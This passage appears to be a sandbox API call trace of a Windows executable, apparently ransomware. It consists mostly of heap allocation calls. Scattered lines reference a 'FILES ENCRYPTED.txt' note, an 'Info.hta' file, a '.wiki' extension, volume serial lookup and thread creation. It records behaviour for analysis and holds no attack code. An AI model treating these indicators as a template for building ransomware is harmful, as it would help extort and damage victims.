RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c5b0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70c5c8 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c5e0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c5f8 [0041.529] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x400) returned 0x6f91c0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c610 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c628 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70c640 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c658 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c670 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c688 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70c6a0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c6b8 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c6d0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c6e8 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6fa020 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c700 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70c718 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c730 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c748 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c760 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c778 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x70c790 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c7a8 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c7c0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c7d8 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c7f0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c808 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c820 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c838 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c850 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6fa030 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c890 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c8a8 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c8c0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c8d8 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c8f0 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c908 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c920 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c938 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c950 [0041.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x70c968 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c980 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x70c998 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c9b0 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c9c8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c9e0 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c9f8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ca10 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70ca28 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ca40 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ca58 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ca70 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ca88 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70caa0 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cab8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cad0 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cae8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb00 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb18 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb30 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb48 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb60 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb78 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cb90 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cba8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cbc0 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x70cbd8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12) returned 0x6f5f28 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cbf0 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cc08 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cc20 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cc38 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cc50 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cc90 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cca8 [0041.531] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ccc0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ccd8 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ccf0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd08 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd20 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd38 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd50 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd68 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd80 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cd98 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cdb0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cdc8 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cde0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70cdf8 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70ce10 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70ce28 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x70ce40 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70ce58 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6fa040 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ce70 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6fa050 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ce88 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cea0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70ceb8 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70ced0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70cee8 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cf00 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70cf18 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cf30 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cf48 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70cf60 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cf78 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70cf90 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70cfa8 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cfc0 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6fa060 [0041.532] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cfd8 [0041.533] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70cff0 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x800) returned 0x70d478 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4778, Size=0x8) returned 0x6d4778 [0041.533] lstrlenW (lpString=".wiki") returned 5 [0041.533] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70ddb8 | out: hHeap=0x6c0000) returned 1 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70dde8, Size=0x20) returned 0x6d4398 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4398, Size=0x40) returned 0x6f6aa8 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6aa8, Size=0x80) returned 0x71b478 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa0d0, Size=0x8) returned 0x6fa0e0 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa0e0, Size=0x10) returned 0x70dde8 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70dde8, Size=0x20) returned 0x6d4370 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70de18, Size=0x20) returned 0x6f5958 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5958, Size=0x40) returned 0x6f6aa8 [0041.533] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70de18, Size=0x20) returned 0x6f5958 [0041.533] lstrlenW (lpString="Info.hta") returned 8 [0041.533] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x72d468, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe")) returned 0x2b [0041.533] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d468 | out: hHeap=0x6c0000) returned 1 [0041.533] lstrlenW (lpString="n.exe") returned 5 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4370, Size=0x40) returned 0x6f6aa8 [0041.533] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70de30, Size=0x20) returned 0x6d4370 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70de30, Size=0x20) returned 0x6f5958 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5958, Size=0x40) returned 0x6f6af0 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6af0, Size=0x80) returned 0x71b478 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x70b470 [0041.534] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70b470 | out: hHeap=0x6c0000) returned 1 [0041.534] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x72d468, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0041.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73d470 | out: hHeap=0x6c0000) returned 1 [0041.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d468 | out: hHeap=0x6c0000) returned 1 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa0e0, Size=0x8) returned 0x6fa0d0 [0041.534] lstrlenW (lpString="%windir%;") returned 9 [0041.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4370 | out: hHeap=0x6c0000) returned 1 [0041.534] lstrlenW (lpString="C:\\Windows;") returned 11 [0041.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71d460 | out: hHeap=0x6c0000) returned 1 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70de48, Size=0x20) returned 0x6d4370 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4370, Size=0x40) returned 0x6f6af0 [0041.534] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6af0, Size=0x80) returned 0x71b478 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x70b470 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa110, Size=0x8) returned 0x6fa120 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa120, Size=0x10) returned 0x70de90 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70de90, Size=0x20) returned 0x6d4370 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa0e0, Size=0x8) returned 0x6fa120 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa0f0, Size=0x8) returned 0x6fa0e0 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa110, Size=0x8) returned 0x6fa130 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa130, Size=0x10) returned 0x70df38 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70df38, Size=0x20) returned 0x6f5958 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa120, Size=0x10) returned 0x70df38 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa0e0, Size=0x10) returned 0x70df68 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa120, Size=0x8) returned 0x6fa110 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa140, Size=0x8) returned 0x6fa150 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70df38, Size=0x20) returned 0x6f5908 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70df68, Size=0x20) returned 0x6f5868 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa160, Size=0x8) returned 0x6fa170 [0041.535] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70dfe0, Size=0x20) returned 0x6f5980 [0041.535] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x71d460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0041.535] lstrlenW (lpString="C:\\") returned 3 [0041.535] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.535] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71d460 | out: hHeap=0x6c0000) returned 1 [0041.536] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa1a0, Size=0x82) returned 0x70b9d8 [0041.536] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa1c0, Size=0x100) returned 0x70ba68 [0041.536] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70bb70, Size=0x104) returned 0x70bc90 [0041.536] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b588, Size=0x100) returned 0x70bda0 [0041.536] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70b9d8, Size=0x104) returned 0x70bea8 [0041.536] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70ba68, Size=0x200) returned 0x70bfb8 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fa1b0 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70bfb8 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70b608 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b610 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70e040 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b698 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70b5f0 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70bea8 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70e058 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70bc90 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70b620 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70bc00 | out: hHeap=0x6c0000) returned 1 [0041.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70b638 | out: hHeap=0x6c0000) returned 1 [0041.537] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70e058, Size=0x20) returned 0x6f59a8 [0041.537] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f59a8, Size=0x40) returned 0x6f6af0 [0041.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6fb450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70e028, Size=0x20) returned 0x6f59a8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f59a8, Size=0x40) returned 0x6f6b38 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6b38, Size=0x80) returned 0x71b478 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x70b9d8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70b9d8, Size=0x200) returned 0x70b9d8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70b9d8, Size=0x400) returned 0x70b9d8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70b9d8, Size=0x800) returned 0x70b9d8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70b9d8, Size=0x1000) returned 0x710088 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa160, Size=0x8) returned 0x6fa180 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa180, Size=0x10) returned 0x70b5f0 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70b5f0, Size=0x20) returned 0x6f59a8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f59a8, Size=0x40) returned 0x6f6b38 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6b38, Size=0x80) returned 0x71b478 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x7110a8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7110a8, Size=0x200) returned 0x70bdd8 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70bdd8, Size=0x400) returned 0x713090 [0041.538] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x713090, Size=0x800) returned 0x714098 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714f60, Size=0x20) returned 0x6f59a8 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f59a8, Size=0x40) returned 0x6f6b38 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6b38, Size=0x80) returned 0x71b478 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa300, Size=0x8) returned 0x6fa310 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa310, Size=0x10) returned 0x714f60 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714f60, Size=0x20) returned 0x6f59f8 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714f90, Size=0x20) returned 0x6f5a20 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5a20, Size=0x40) returned 0x6f6b38 [0041.539] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714f90, Size=0x20) returned 0x6f5a20 [0041.539] lstrlenW (lpString="Info.hta") returned 8 [0041.539] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x73d488, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe")) returned 0x2b [0041.539] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73d488 | out: hHeap=0x6c0000) returned 1 [0041.539] lstrlenW (lpString="n.exe") returned 5 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f59f8, Size=0x40) returned 0x6f6b38 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714fa8, Size=0x20) returned 0x6f59f8 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714fa8, Size=0x20) returned 0x6f5a20 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5a20, Size=0x40) returned 0x6f6b80 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6b80, Size=0x80) returned 0x71b478 [0041.539] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x7110a8 [0041.539] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.540] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7110a8 | out: hHeap=0x6c0000) returned 1 [0041.540] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x73d488, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0041.540] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x74d490 | out: hHeap=0x6c0000) returned 1 [0041.540] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73d488 | out: hHeap=0x6c0000) returned 1 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa310, Size=0x8) returned 0x6fa300 [0041.540] lstrlenW (lpString="%windir%;") returned 9 [0041.540] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f59f8 | out: hHeap=0x6c0000) returned 1 [0041.540] lstrlenW (lpString="C:\\Windows;") returned 11 [0041.540] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d480 | out: hHeap=0x6c0000) returned 1 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x714fc0, Size=0x20) returned 0x6f59f8 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f59f8, Size=0x40) returned 0x6f6b80 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, 